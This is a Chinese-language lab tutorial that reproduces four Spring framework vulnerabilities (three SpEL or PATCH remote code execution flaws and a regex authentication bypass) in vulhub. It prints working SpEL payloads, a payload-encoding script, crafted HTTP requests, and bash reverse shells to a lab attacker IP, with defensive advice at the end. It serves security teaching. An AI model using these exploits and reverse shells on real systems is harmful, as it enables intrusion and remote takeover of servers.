Spring框架漏洞复现及解析
字数 1764 2025-08-10 08:28:24
Spring框架漏洞复现及解析教学文档
1. Spring Security OAuth2 远程命令执行漏洞(CVE-2016-4977)
漏洞简介
Spring Security OAuth是为Spring框架提供安全认证支持的模块。在使用whitelabel views处理错误时,由于使用了Spring Expression Language (SpEL),攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令。
漏洞原理
错误页面存在参数获取未进行过滤,导致可以直接对服务器执行系统权限。通过Springs表达式语言(SpEL)构造恶意参数来执行命令。
实验环境
- 攻击机(Kali): 192.168.200.14
- 靶机(Ubuntu): 192.168.200.47
- 靶机目录:
/vulhub/spring/CVE-2016-4977
复现步骤
- 访问环境:
http://IP地址:8080 - 识别Spring框架特征(小绿叶图标)
- 使用提供的POC脚本对bash脚本进行编码:
#!/usr/bin/env python message = input('Enter message to encode:') poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0]) for ch in message[1:]: poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch) poc += ')}' print(poc) - 构造反弹shell命令:
bash -i >& /dev/tcp/192.168.200.14/8888 0>&1 - 使用编码网站(https://ares-x.com/tools/runtime-exec)进行编码
- 在Kali监听8888端口:
nc -lvvp 8888 - 触发漏洞的URL:
http://192.168.200.47:8080/oauth/authorize?response_type=${生成的payload}&client_id=acme&scope=openid&redirect_uri=http://test
2. Spring Cloud Function SpEL 代码注入(CVE-2022-22963)
漏洞简介
Spring Cloud Function 3.1.6、3.2.2及更早版本中,当使用路由功能时,用户可以提供特制的SpEL作为路由表达式,可能导致远程代码执行。
实验环境
- 攻击机(Kali): 192.168.200.14
- 靶机(Ubuntu): 192.168.200.47
- 靶机目录:
/vulhub/spring/CVE-2022-22963
复现步骤
- 访问环境:
http://IP地址:8080 - 发送恶意POST请求:
POST /functionRouter HTTP/1.1 Host: 192.168.200.47:8080 spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/success") Content-Type: text/plain Content-Length: 4 test - 验证文件创建:
docker exec -it 容器id /bin/bash ls /tmp/success - 反弹shell:
- 编码反弹命令:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xNC84ODg4IDA+JjE=}|{base64,-d}|{bash,-i} - 修改POC中的exec参数为上述编码命令
- 在Kali监听8888端口
- 编码反弹命令:
3. Spring Data Rest 远程命令执行漏洞(CVE-2017-8046)
漏洞简介
Spring-data-rest服务器在处理PATCH请求时,攻击者可以构造恶意的PATCH请求,通过构造好的JSON数据来执行任意Java代码。
实验环境
- 攻击机(Kali): 192.168.200.14
- 靶机(Ubuntu): 192.168.200.47
- 靶机目录:
/vulhub/spring/CVE-2017-8046
复现步骤
- 访问环境:
http://IP地址:8080 - 发送恶意PATCH请求:
PATCH /customers/1 HTTP/1.1 Host: 192.168.200.47:8080 Content-Type: application/json-patch+json [{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }] - 进制转换方法(Python):
payload = b'touch /tmp/success' bytecode = ','.join(str(i) for i in list(payload)) print(bytecode) - 反弹shell:
- 编码反弹命令
- 转换为字节数组
- 修改path参数为SpEL表达式执行命令
4. Spring-security 认证绕过漏洞(CVE-2022-22978)
漏洞简介
当Spring-security使用RegexRequestMatcher进行权限配置时,正则表达式中包含"."时,攻击者可以通过构造恶意数据包绕过身份认证。
实验环境
- 攻击机(Kali): 192.168.200.14
- 靶机(Ubuntu): 192.168.200.47
- 靶机目录:
/vulhub/spring/CVE-2022-22978
复现步骤
- 访问环境:
http://IP地址:8080 - 尝试访问/admin页面会被拒绝
- 使用换行符绕过认证:
(\r的URL编码为%0d,\n的URL编码为%0a)/admin/index%0a
总结
-
SpEL表达式注入是Spring框架常见漏洞类型(CVE-2016-4977, CVE-2022-22963)
-
HTTP方法滥用(PATCH)可导致RCE(CVE-2017-8046)
-
认证绕过可通过特殊字符实现(CVE-2022-22978)
-
漏洞利用关键点:
- 识别Spring框架特征
- 构造正确的SpEL表达式
- 使用编码/进制转换处理payload
- 利用换行符等特殊字符绕过限制
-
防护建议:
- 及时更新Spring框架版本
- 禁用不必要的HTTP方法
- 对用户输入进行严格过滤
- 避免在安全配置中使用包含"."的正则表达式